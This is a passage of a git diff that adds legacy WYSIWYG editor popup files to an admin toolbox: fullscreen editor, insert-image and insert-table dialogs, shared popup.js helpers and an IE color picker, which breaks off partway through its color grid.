+  // use the fast version
+  parent_object.setHTML(editor.getInnerHTML());
+}
+
+
+</script>
+</head>
+<body scroll="no" onload="init()" onunload="update_parent()">
+
+<form style="margin: 0px; border: 1px solid; border-color: threedshadow threedhighlight threedhighlight threedshadow;">
+<textarea name="editor" id="editor" style="width:100%; height:300px">&nbsp;</textarea>
+</form>
+
+</body></html>
diff --git a/admin/Toolbox/popups/insert_image.html b/admin/Toolbox/popups/insert_image.html
new file mode 100755 (executable)
index 0000000..55e56a0
--- /dev/null
@@ -0,0 +1,216 @@
+<html style="width: 398; height: 218">
+
+<head>
+  <title>Insert Image</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+var preview_window = null;
+
+function Init() {
+  __dlg_init();
+  document.getElementById("f_url").focus();
+};
+
+function onOK() {
+  var required = {
+    "f_url": "You must enter the URL",
+    "f_alt": "Please enter the alternate text"
+  };
+  for (var i in required) {
+    var el = document.getElementById(i);
+    if (!el.value) {
+      alert(required[i]);
+      el.focus();
+      return false;
+    }
+  }
+  // pass data back to the calling window
+  var fields = ["f_url", "f_alt", "f_align", "f_border",
+                "f_horiz", "f_vert"];
+  var param = new Object();
+  for (var i in fields) {
+    var id = fields[i];
+    var el = document.getElementById(id);
+    param[id] = el.value;
+  }
+  if (preview_window) {
+    preview_window.close();
+  }
+  __dlg_close(param);
+  return false;
+};
+
+function onCancel() {
+  if (preview_window) {
+    preview_window.close();
+  }
+  __dlg_close(null);
+  return false;
+};
+
+function onPreview() {
+  alert("FIXME: preview needs rewritten:\n  show the image inside this window instead of opening a new one.");
+  var f_url = document.getElementById("f_url");
+  var url = f_url.value;
+  if (!url) {
+    alert("You have to enter an URL first");
+    f_url.focus();
+    return false;
+  }
+  var img = new Image();
+  img.src = url;
+  var win = null;
+  if (!document.all) {
+    win = window.open("about:blank", "ha_imgpreview", "toolbar=no,menubar=no,personalbar=no,innerWidth=100,innerHeight=100,scrollbars=no,resizable=yes");
+  } else {
+    win = window.open("about:blank", "ha_imgpreview", "channelmode=no,directories=no,height=100,width=100,location=no,menubar=no,resizable=yes,scrollbars=no,toolbar=no");
+  }
+  preview_window = win;
+  var doc = win.document;
+  var body = doc.body;
+  if (body) {
+    body.innerHTML = "";
+    body.style.padding = "0px";
+    body.style.margin = "0px";
+    var el = doc.createElement("img");
+    el.src = url;
+
+    var table = doc.createElement("table");
+    body.appendChild(table);
+    table.style.width = "100%";
+    table.style.height = "100%";
+    var tbody = doc.createElement("tbody");
+    table.appendChild(tbody);
+    var tr = doc.createElement("tr");
+    tbody.appendChild(tr);
+    var td = doc.createElement("td");
+    tr.appendChild(td);
+    td.style.textAlign = "center";
+
+    td.appendChild(el);
+    win.resizeTo(el.offsetWidth + 30, el.offsetHeight + 30);
+  }
+  win.focus();
+  return false;
+};
+</script>
+
+<style type="text/css">
+html, body {
+  background: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+  margin: 0px;
+  padding: 0px;
+}
+body { padding: 5px; }
+table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+  margin-top: 5px;
+  margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 6em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Image</div>
+
+<form action="" method="get">
+<table border="0" width="100%" style="padding: 0px; margin: 0px">
+  <tbody>
+
+  <tr>
+    <td style="width: 7em; text-align: right">Image URL:</td>
+    <td><input type="text" name="url" id="f_url" style="width:75%"
+      title="Enter the image URL here" />
+      <button name="preview" onclick="return onPreview();"
+      title="Preview the image in a new window">Preview</button>
+    </td>
+  </tr>
+  <tr>
+    <td style="width: 7em; text-align: right">Alternate text:</td>
+    <td><input type="text" name="alt" id="f_alt" style="width:100%"
+      title="For browsers that don't support images" /></td>
+  </tr>
+
+  </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+  title="Positioning of this image">
+  <option value=""                             >Not set</option>
+  <option value="left"                         >Left</option>
+  <option value="right"                        >Right</option>
+  <option value="texttop"                      >Texttop</option>
+  <option value="absmiddle"                    >Absmiddle</option>
+  <option value="baseline" selected="1"        >Baseline</option>
+  <option value="absbottom"                    >Absbottom</option>
+  <option value="bottom"                       >Bottom</option>
+  <option value="middle"                       >Middle</option>
+  <option value="top"                          >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5"
+title="Leave empty for no border" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Horizontal:</div>
+<input type="text" name="horiz" id="f_horiz" size="5"
+title="Horizontal padding" />
+
+<p />
+
+<div class="fr">Vertical:</div>
+<input type="text" name="vert" id="f_vert" size="5"
+title="Vertical padding" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; text-align: right;">
+<hr />
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
diff --git a/admin/Toolbox/popups/insert_table.html b/admin/Toolbox/popups/insert_table.html
new file mode 100755 (executable)
index 0000000..efdf3f0
--- /dev/null
@@ -0,0 +1,173 @@
+<html style="width: 398; height: 218">
+
+<head>
+  <title>Insert Table</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function Init() {
+  __dlg_init();
+  document.getElementById("f_rows").focus();
+};
+
+function onOK() {
+  var required = {
+    "f_rows": "You must enter a number of rows",
+    "f_cols": "You must enter a number of columns"
+  };
+  for (var i in required) {
+    var el = document.getElementById(i);
+    if (!el.value) {
+      alert(required[i]);
+      el.focus();
+      return false;
+    }
+  }
+  var fields = ["f_rows", "f_cols", "f_width", "f_unit",
+                "f_align", "f_border", "f_spacing", "f_padding"];
+  var param = new Object();
+  for (var i in fields) {
+    var id = fields[i];
+    var el = document.getElementById(id);
+    param[id] = el.value;
+  }
+  __dlg_close(param);
+  return false;
+};
+
+function onCancel() {
+  __dlg_close(null);
+  return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+  background: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+  margin: 0px;
+  padding: 0px;
+}
+body { padding: 5px; }
+table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+  margin-top: 5px;
+  margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 7em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Table</div>
+
+<form action="" method="get">
+<table border="0" style="padding: 0px; margin: 0px">
+  <tbody>
+
+  <tr>
+    <td style="width: 4em; text-align: right">Rows:</td>
+    <td><input type="text" name="rows" id="f_rows" size="5" title="Number of rows" value="2" /></td>
+    <td></td>
+    <td></td>
+    <td></td>
+  </tr>
+  <tr>
+    <td style="width: 4em; text-align: right">Cols:</td>
+    <td><input type="text" name="cols" id="f_cols" size="5" title="Number of columns" value="4" /></td>
+    <td style="width: 4em; text-align: right">Width:</td>
+    <td><input type="text" name="width" id="f_width" size="5" title="Width of the table" value="100" /></td>
+    <td><select size="1" name="unit" id="f_unit" title="Width unit">
+      <option value="%" selected="1"  >Percent</option>
+      <option value="px"              >Pixels</option>
+      <option value="em"              >Em</option>
+    </select></td>
+  </tr>
+
+  </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+  title="Positioning of this image">
+  <option value="" selected="1"                >Not set</option>
+  <option value="left"                         >Left</option>
+  <option value="right"                        >Right</option>
+  <option value="texttop"                      >Texttop</option>
+  <option value="absmiddle"                    >Absmiddle</option>
+  <option value="baseline"                     >Baseline</option>
+  <option value="absbottom"                    >Absbottom</option>
+  <option value="bottom"                       >Bottom</option>
+  <option value="middle"                       >Middle</option>
+  <option value="top"                          >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5" value="1"
+title="Leave empty for no border" />
+<!--
+<p />
+
+<div class="fl">Collapse borders:</div>
+<input type="checkbox" name="collapse" id="f_collapse" />
+-->
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Cell spacing:</div>
+<input type="text" name="spacing" id="f_spacing" size="5" value="1"
+title="Space between adjacent cells" />
+
+<p />
+
+<div class="fr">Cell padding:</div>
+<input type="text" name="padding" id="f_padding" size="5" value="1"
+title="Space between content and border in cell" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; text-align: right;">
+<hr />
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
diff --git a/admin/Toolbox/popups/old-fullscreen.html b/admin/Toolbox/popups/old-fullscreen.html
new file mode 100755 (executable)
index 0000000..7c00d91
--- /dev/null
@@ -0,0 +1,131 @@
+<html>
+<head><title>Fullscreen Editor</title>
+<style type="text/css"> body { margin: 0px; border: 0px; background-color: buttonface; } </style>
+
+<script>
+
+// if we pass the "window" object as a argument and then set opener to
+// equal that we can refer to dialogWindows and popupWindows the same way
+if (window.dialogArguments) { opener = window.dialogArguments; }
+
+var _editor_url = "../";
+document.write('<scr'+'ipt src="' +_editor_url+ 'editor.js" language="Javascript1.2"></scr'+'ipt>');
+
+var parent_objname = location.search.substring(1,location.search.length);  // parent editor objname
+var parent_config  = opener.document.all[parent_objname].config;
+
+var config         = cloneObject( parent_config );
+var objname        = 'editor'; // name of this editor
+
+//  DOMViewerObj = config;
+//  DOMViewerName = 'config';
+//  window.open('/innerHTML/domviewer.htm');  
+
+/* ---------------------------------------------------------------------- *\
+  Function    : 
+  Description : 
+\* ---------------------------------------------------------------------- */
+
+function _CloseOnEsc() {
+  if (event.keyCode == 27) {
+    update_parent();
+    window.close();
+    return;
+  }
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : cloneObject
+  Description : copy an object by value instead of by reference
+  Usage       : var newObj = cloneObject(oldObj);
+\* ---------------------------------------------------------------------- */
+
+function cloneObject(obj) {
+  var newObj          = new Object; 
+
+  // check for array objects
+  if (obj.constructor.toString().indexOf('function Array(') == 1) {
+    newObj = obj.constructor();
+  }
+
+  for (var n in obj) {
+    var node = obj[n];
+    if (typeof node == 'object') { newObj[n] = cloneObject(node); }
+    else                         { newObj[n] = node; }
+  }
+  
+  return newObj;
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : resize_editor
+  Description : resize the editor when the user resizes the popup
+\* ---------------------------------------------------------------------- */
+
+function resize_editor() {  // resize editor to fix window
+  var editor = document.all['_editor_editor'];
+
+  newWidth  = document.body.offsetWidth;
+  newHeight = document.body.offsetHeight - editor.offsetTop;
+
+  if (newWidth < 0) { newWidth = 0; }
+  if (newHeight < 0) { newHeight = 0; }
+
+  editor.style.width  = newWidth;
+  editor.style.height = newHeight;
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : init
+  Description : run this code on page load
+\* ---------------------------------------------------------------------- */
+
+function init() {
+  // change maximize button to minimize button
+  config.btnList["popupeditor"] = ['popupeditor', 'Minimize Editor',  'update_parent(); window.close();', 'fullscreen_minimize.gif'];
+
+  // set htmlmode button to refer to THIS editor
+  config.btnList["htmlmode"]    = ['HtmlMode',    'View HTML Source', 'editor_setmode(\'editor\')',  'ed_html.gif'];
+
+  // change image url to be relative to current path
+  config.imgURL = "../images/";
+  
+  // generate editor and resize it
+  editor_generate('editor', config);
+  resize_editor();
+
+  // switch mode if needed
+  if (parent_config.mode == 'textedit') { editor_setmode(objname, 'textedit'); }
+
+  // set child window contents
+  var parentHTML = opener.editor_getHTML(parent_objname);
+  editor_setHTML(objname, parentHTML);
+
+  // continuously update parent editor window
+  window.setInterval(update_parent, 333);
+
+  // setup event handlers
+  document.body.onkeypress = _CloseOnEsc;
+  window.onresize = resize_editor;
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : update_parent
+  Description : update parent window editor field with contents from child window
+\* ---------------------------------------------------------------------- */
+
+function update_parent() {
+  var childHTML = editor_getHTML(objname);
+  opener.editor_setHTML(parent_objname, childHTML);
+}
+
+
+</script>
+</head>
+<body scroll="no" onload="init()" onunload="update_parent()">
+
+<div style="margin: 0 0 0 0; border-width: 1; border-style: solid; border-color: threedshadow threedhighlight threedhighlight threedshadow; "></div>
+
+<textarea name="editor" style="width:100%; height:300px"></textarea><br>
+
+</body></html>
\ No newline at end of file
diff --git a/admin/Toolbox/popups/old_insert_image.html b/admin/Toolbox/popups/old_insert_image.html
new file mode 100755 (executable)
index 0000000..613f460
--- /dev/null
@@ -0,0 +1,206 @@
+<!-- based on insimage.dlg -->
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML 3.2//EN">
+<HTML  id=dlgImage STYLE="width: 432px; height: 194px; ">
+<HEAD>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta http-equiv="MSThemeCompatible" content="Yes">
+<TITLE>Insert Image</TITLE>
+<style>
+  html, body, button, div, input, select, fieldset { font-family: MS Shell Dlg; font-size: 8pt; position: absolute; };
+</style>
+<SCRIPT defer>
+
+function _CloseOnEsc() {
+  if (event.keyCode == 27) { window.close(); return; }
+}
+
+function _getTextRange(elm) {
+  var r = elm.parentTextEdit.createTextRange();
+  r.moveToElementText(elm);
+  return r;
+}
+
+window.onerror = HandleError
+
+function HandleError(message, url, line) {
+  var str = "An error has occurred in this dialog." + "\n\n"
+  + "Error: " + line + "\n" + message;
+  alert(str);
+  window.close();
+  return true;
+}
+
+function Init() {
+  var elmSelectedImage;
+  var htmlSelectionControl = "Control";
+  var globalDoc = window.dialogArguments;
+  var grngMaster = globalDoc.selection.createRange();
+  
+  // event handlers  
+  document.body.onkeypress = _CloseOnEsc;
+  btnOK.onclick = new Function("btnOKClick()");
+
+  txtFileName.fImageLoaded = false;
+  txtFileName.intImageWidth = 0;
+  txtFileName.intImageHeight = 0;
+
+  if (globalDoc.selection.type == htmlSelectionControl) {
+    if (grngMaster.length == 1) {
+      elmSelectedImage = grngMaster.item(0);
+      if (elmSelectedImage.tagName == "IMG") {
+        txtFileName.fImageLoaded = true;
+        if (elmSelectedImage.src) {
+          txtFileName.value          = elmSelectedImage.src.replace(/^[^*]*(\*\*\*)/, "$1");  // fix placeholder src values that editor converted to abs paths
+          txtFileName.intImageHeight = elmSelectedImage.height;
+          txtFileName.intImageWidth  = elmSelectedImage.width;
+          txtVertical.value          = elmSelectedImage.vspace;
+          txtHorizontal.value        = elmSelectedImage.hspace;
+          txtBorder.value            = elmSelectedImage.border;
+          txtAltText.value           = elmSelectedImage.alt;
+          selAlignment.value         = elmSelectedImage.align;
+        }
+      }
+    }
+  }
+  txtFileName.value = txtFileName.value || "http://";
+  txtFileName.focus();
+}
+
+function _isValidNumber(txtBox) {
+  var val = parseInt(txtBox);
+  if (isNaN(val) || val < 0 || val > 999) { return false; }
+  return true;
+}
+
+function btnOKClick() {
+  var elmImage;
+  var intAlignment;
+  var htmlSelectionControl = "Control";
+  var globalDoc = window.dialogArguments;
+  var grngMaster = globalDoc.selection.createRange();
+  
+  // error checking
+
+  if (!txtFileName.value || txtFileName.value == "http://") { 
+    alert("Image URL must be specified.");
+    txtFileName.focus();
+    return;
+  }
+  if (txtHorizontal.value && !_isValidNumber(txtHorizontal.value)) {
+    alert("Horizontal spacing must be a number between 0 and 999.");
+    txtHorizontal.focus();
+    return;
+  }
+  if (txtBorder.value && !_isValidNumber(txtBorder.value)) {
+    alert("Border thickness must be a number between 0 and 999.");
+    txtBorder.focus();
+    return;
+  }
+  if (txtVertical.value && !_isValidNumber(txtVertical.value)) {
+    alert("Vertical spacing must be a number between 0 and 999.");
+    txtVertical.focus();
+    return;
+  }
+
+  // delete selected content and replace with image
+  if (globalDoc.selection.type == htmlSelectionControl && !txtFileName.fImageLoaded) {
+    grngMaster.execCommand('Delete');
+    grngMaster = globalDoc.selection.createRange();
+  }
+    
+  idstr = "\" id=\"556e697175657e537472696e67";     // new image creation ID
+  if (!txtFileName.fImageLoaded) {
+    grngMaster.execCommand("InsertImage", false, idstr);
+    elmImage = globalDoc.all['556e697175657e537472696e67'];
+    elmImage.removeAttribute("id");
+    elmImage.removeAttribute("src");
+    grngMaster.moveStart("character", -1);
+  } else {
+    elmImage = grngMaster.item(0);
+    if (elmImage.src != txtFileName.value) {
+      grngMaster.execCommand('Delete');
+      grngMaster = globalDoc.selection.createRange();
+      grngMaster.execCommand("InsertImage", false, idstr);
+      elmImage = globalDoc.all['556e697175657e537472696e67'];
+      elmImage.removeAttribute("id");
+      elmImage.removeAttribute("src");
+      grngMaster.moveStart("character", -1);
+      txtFileName.fImageLoaded = false;
+    }
+    grngMaster = _getTextRange(elmImage);
+  }
+
+  if (txtFileName.fImageLoaded) {
+    elmImage.style.width = txtFileName.intImageWidth;
+    elmImage.style.height = txtFileName.intImageHeight;
+  }
+
+  if (txtFileName.value.length > 2040) {
+    txtFileName.value = txtFileName.value.substring(0,2040);
+  }
+  
+  elmImage.src = txtFileName.value;
+  
+  if (txtHorizontal.value != "") { elmImage.hspace = parseInt(txtHorizontal.value); }
+  else                           { elmImage.hspace = 0; }
+
+  if (txtVertical.value != "") { elmImage.vspace = parseInt(txtVertical.value); }
+  else                         { elmImage.vspace = 0; }
+  
+  elmImage.alt = txtAltText.value;
+
+  if (txtBorder.value != "") { elmImage.border = parseInt(txtBorder.value); }
+  else                       { elmImage.border = 0; }
+
+  elmImage.align = selAlignment.value;
+  grngMaster.collapse(false);
+  grngMaster.select();
+  window.close();
+}
+</SCRIPT>
+</HEAD>
+<BODY id=bdy onload="Init()" style="background: threedface; color: windowtext;" scroll=no>
+
+<DIV id=divFileName style="left: 0.98em; top: 1.2168em; width: 7em; height: 1.2168em; ">Image URL:</DIV>
+<INPUT ID=txtFileName type=text style="left: 8.54em; top: 1.0647em; width: 21.5em;height: 2.1294em; " tabIndex=10 onfocus="select()">
+
+<DIV id=divAltText style="left: 0.98em; top: 4.1067em; width: 6.58em; height: 1.2168em; ">Alternate Text:</DIV>
+<INPUT type=text ID=txtAltText tabIndex=15 style="left: 8.54em; top: 3.8025em; width: 21.5em; height: 2.1294em; " onfocus="select()">
+
+<FIELDSET id=fldLayout style="left: .9em; top: 7.1em; width: 17.08em; height: 7.6em;">
+<LEGEND id=lgdLayout>Layout</LEGEND>
+</FIELDSET>
+
+<FIELDSET id=fldSpacing style="left: 18.9em; top: 7.1em; width: 11em; height: 7.6em;">
+<LEGEND id=lgdSpacing>Spacing</LEGEND>
+</FIELDSET>
+
+<DIV id=divAlign style="left: 1.82em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Alignment:</DIV>
+<SELECT size=1 ID=selAlignment tabIndex=20 style="left: 10.36em; top: 8.8218em; width: 6.72em; height: 1.2168em; ">
+<OPTION id=optNotSet value=""> Not set </OPTION>
+<OPTION id=optLeft value=left> Left </OPTION>
+<OPTION id=optRight value=right> Right </OPTION>
+<OPTION id=optTexttop value=textTop> Texttop </OPTION>
+<OPTION id=optAbsMiddle value=absMiddle> Absmiddle </OPTION>
+<OPTION id=optBaseline value=baseline SELECTED> Baseline </OPTION>
+<OPTION id=optAbsBottom value=absBottom> Absbottom </OPTION>
+<OPTION id=optBottom value=bottom> Bottom </OPTION>
+<OPTION id=optMiddle value=middle> Middle </OPTION>
+<OPTION id=optTop value=top> Top </OPTION>
+</SELECT>
+
+<DIV id=divHoriz style="left: 19.88em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Horizontal:</DIV>
+<INPUT ID=txtHorizontal style="left: 24.92em; top: 8.8218em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=25 onfocus="select()">
+
+<DIV id=divBorder style="left: 1.82em; top: 12.0159em; width: 8.12em; height: 1.2168em; ">Border Thickness:</DIV>
+<INPUT ID=txtBorder style="left: 10.36em; top: 11.5596em; width: 6.72em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=21 onfocus="select()">
+
+<DIV id=divVert style="left: 19.88em; top: 12.0159em; width: 3.64em; height: 1.2168em; ">Vertical:</DIV>
+<INPUT ID=txtVertical style="left: 24.92em; top: 11.5596em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=30 onfocus="select()">
+
+<BUTTON ID=btnOK style="left: 31.36em; top: 1.0647em; width: 7em; height: 2.2em; " type=submit tabIndex=40>OK</BUTTON>
+<BUTTON ID=btnCancel style="left: 31.36em; top: 3.6504em; width: 7em; height: 2.2em; " type=reset tabIndex=45 onClick="window.close();">Cancel</BUTTON>
+
+</BODY>
+</HTML>
\ No newline at end of file
diff --git a/admin/Toolbox/popups/popup.js b/admin/Toolbox/popups/popup.js
new file mode 100755 (executable)
index 0000000..68cbeb2
--- /dev/null
@@ -0,0 +1,42 @@
+function __dlg_onclose() {
+       if (!document.all) {
+               opener.Dialog._return(null);
+       }
+};
+
+function __dlg_init() {
+       if (!document.all) {
+               // init dialogArguments, as IE gets it
+               window.dialogArguments = opener.Dialog._arguments;
+               window.sizeToContent();
+               window.sizeToContent(); // for reasons beyond understanding,
+                                       // only if we call it twice we get the
+                                       // correct size.
+               window.addEventListener("unload", __dlg_onclose, true);
+               // center on parent
+               var px1 = opener.screenX;
+               var px2 = opener.screenX + opener.outerWidth;
+               var py1 = opener.screenY;
+               var py2 = opener.screenY + opener.outerHeight;
+               var x = (px2 - px1 - window.outerWidth) / 2;
+               var y = (py2 - py1 - window.outerHeight) / 2;
+               window.moveTo(x, y);
+               var body = document.body;
+               window.innerHeight = body.offsetHeight;
+               window.innerWidth = body.offsetWidth;
+       } else {
+               var body = document.body;
+               window.dialogHeight = body.offsetHeight + 50 + "px";
+               window.dialogWidth = body.offsetWidth + "px";
+       }
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+       if (document.all) {     // IE
+               window.returnValue = val;
+       } else {
+               opener.Dialog._return(val);
+       }
+       window.close();
+};
diff --git a/admin/Toolbox/popups/select_color.html b/admin/Toolbox/popups/select_color.html
new file mode 100755 (executable)
index 0000000..d1fd26b
--- /dev/null
@@ -0,0 +1,346 @@
+<!-- note: this version of the color picker is optimized for IE 5.5+ only -->
+
+<html style="width: 238px; height: 182px"><head><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function _CloseOnEsc() {
+  if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() {                                                       // run on page load
+  __dlg_init();    // <!-- this can be found in popup.js -->
+  document.body.onkeypress = _CloseOnEsc;
+
+  var color = window.dialogArguments;
+  color = ValidateColor(color) || '000000';
+  View(color);                                                          // set default color
+}
+
+function View(color) {                  // preview color
+  document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+  document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) {                   // select color
+  var color = ValidateColor(string);
+  if (color == null) { alert("Invalid color code: " + string); }        // invalid color
+  else {                                                                // valid color
+    View(color);                          // show selected color
+    __dlg_close(color);
+  }
+}
+
+function ValidateColor(string) {                // return valid color code
+  string = string || '';
+  string = string + "";
+  string = string.toUpperCase();
+  var chars = '0123456789ABCDEF';
+  var out   = '';
+
+  for (var i=0; i<string.length; i++) {             // remove invalid color chars
+    var schar = string.charAt(i);
+    if (chars.indexOf(schar) != -1) { out += schar; }
+  }
+
+  if (out.length != 6) { return null; }            // check length
+  return out;
+}
+
+</script>
+</head>
+<body style="background:ButtonFace; margin:0px; padding:0px" onload="Init()">
+
+<form method="get" style="margin:0px; padding:0px" onSubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="0px" cellspacing="0px" cellpadding="4" width="100%">
+ <tr>
+  <td style="background:buttonface" valign=center><div style="background-color: #000000; padding: 1; height: 21px; width: 50px"><div id="ColorPreview" style="height: 100%; width: 100%"></div></div></td>
+  <td style="background:buttonface" valign=center><input type="text" name="ColorHex"
+    id="ColorHex" value="" size=15 style="font-size: 12px"></td>
+  <td style="background:buttonface" width=100%></td>
+ </tr>
+</table>
+</form>
+
+<table border="0" cellspacing="1px" cellpadding="0px" width="100%" bgcolor="#000000" style="cursor: hand;">
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#003300 onMouseOver=View('003300') onClick=Set('003300') height="10px" width="10px"></td>
+<td bgcolor=#006600 onMouseOver=View('006600') onClick=Set('006600') height="10px" width="10px"></td>
+<td bgcolor=#009900 onMouseOver=View('009900') onClick=Set('009900') height="10px" width="10px"></td>
+<td bgcolor=#00CC00 onMouseOver=View('00CC00') onClick=Set('00CC00') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#330000 onMouseOver=View('330000') onClick=Set('330000') height="10px" width="10px"></td>
+<td bgcolor=#333300 onMouseOver=View('333300') onClick=Set('333300') height="10px" width="10px"></td>
+<td bgcolor=#336600 onMouseOver=View('336600') onClick=Set('336600') height="10px" width="10px"></td>
+<td bgcolor=#339900 onMouseOver=View('339900') onClick=Set('339900') height="10px" width="10px"></td>
+<td bgcolor=#33CC00 onMouseOver=View('33CC00') onClick=Set('33CC00') height="10px" width="10px"></td>
+<td bgcolor=#33FF00 onMouseOver=View('33FF00') onClick=Set('33FF00') height="10px" width="10px"></td>
+<td bgcolor=#660000 onMouseOver=View('660000') onClick=Set('660000') height="10px" width="10px"></td>
+<td bgcolor=#663300 onMouseOver=View('663300') onClick=Set('663300') height="10px" width="10px"></td>
+<td bgcolor=#666600 onMouseOver=View('666600') onClick=Set('666600') height="10px" width="10px"></td>
+<td bgcolor=#669900 onMouseOver=View('669900') onClick=Set('669900') height="10px" width="10px"></td>
+<td bgcolor=#66CC00 onMouseOver=View('66CC00') onClick=Set('66CC00') height="10px" width="10px"></td>
+<td bgcolor=#66FF00 onMouseOver=View('66FF00') onClick=Set('66FF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000033 onMouseOver=View('000033') onClick=Set('000033') height="10px" width="10px"></td>
+<td bgcolor=#003333 onMouseOver=View('003333') onClick=Set('003333') height="10px" width="10px"></td>
+<td bgcolor=#006633 onMouseOver=View('006633') onClick=Set('006633') height="10px" width="10px"></td>
+<td bgcolor=#009933 onMouseOver=View('009933') onClick=Set('009933') height="10px" width="10px"></td>
+<td bgcolor=#00CC33 onMouseOver=View('00CC33') onClick=Set('00CC33') height="10px" width="10px"></td>
+<td bgcolor=#00FF33 onMouseOver=View('00FF33') onClick=Set('00FF33') height="10px" width="10px"></td>
+<td bgcolor=#330033 onMouseOver=View('330033') onClick=Set('330033') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#336633 onMouseOver=View('336633') onClick=Set('336633') height="10px" width="10px"></td>
+<td bgcolor=#339933 onMouseOver=View('339933') onClick=Set('339933') height="10px" width="10px"></td>
+<td bgcolor=#33CC33 onMouseOver=View('33CC33') onClick=Set('33CC33') height="10px" width="10px"></td>
+<td bgcolor=#33FF33 onMouseOver=View('33FF33') onClick=Set('33FF33') height="10px" width="10px"></td>
+<td bgcolor=#660033 onMouseOver=View('660033') onClick=Set('660033') height="10px" width="10px"></td>
+<td bgcolor=#663333 onMouseOver=View('663333') onClick=Set('663333') height="10px" width="10px"></td>
+<td bgcolor=#666633 onMouseOver=View('666633') onClick=Set('666633') height="10px" width="10px"></td>
+<td bgcolor=#669933 onMouseOver=View('669933') onClick=Set('669933') height="10px" width="10px"></td>
+<td bgcolor=#66CC33 onMouseOver=View('66CC33') onClick=Set('66CC33') height="10px" width="10px"></td>
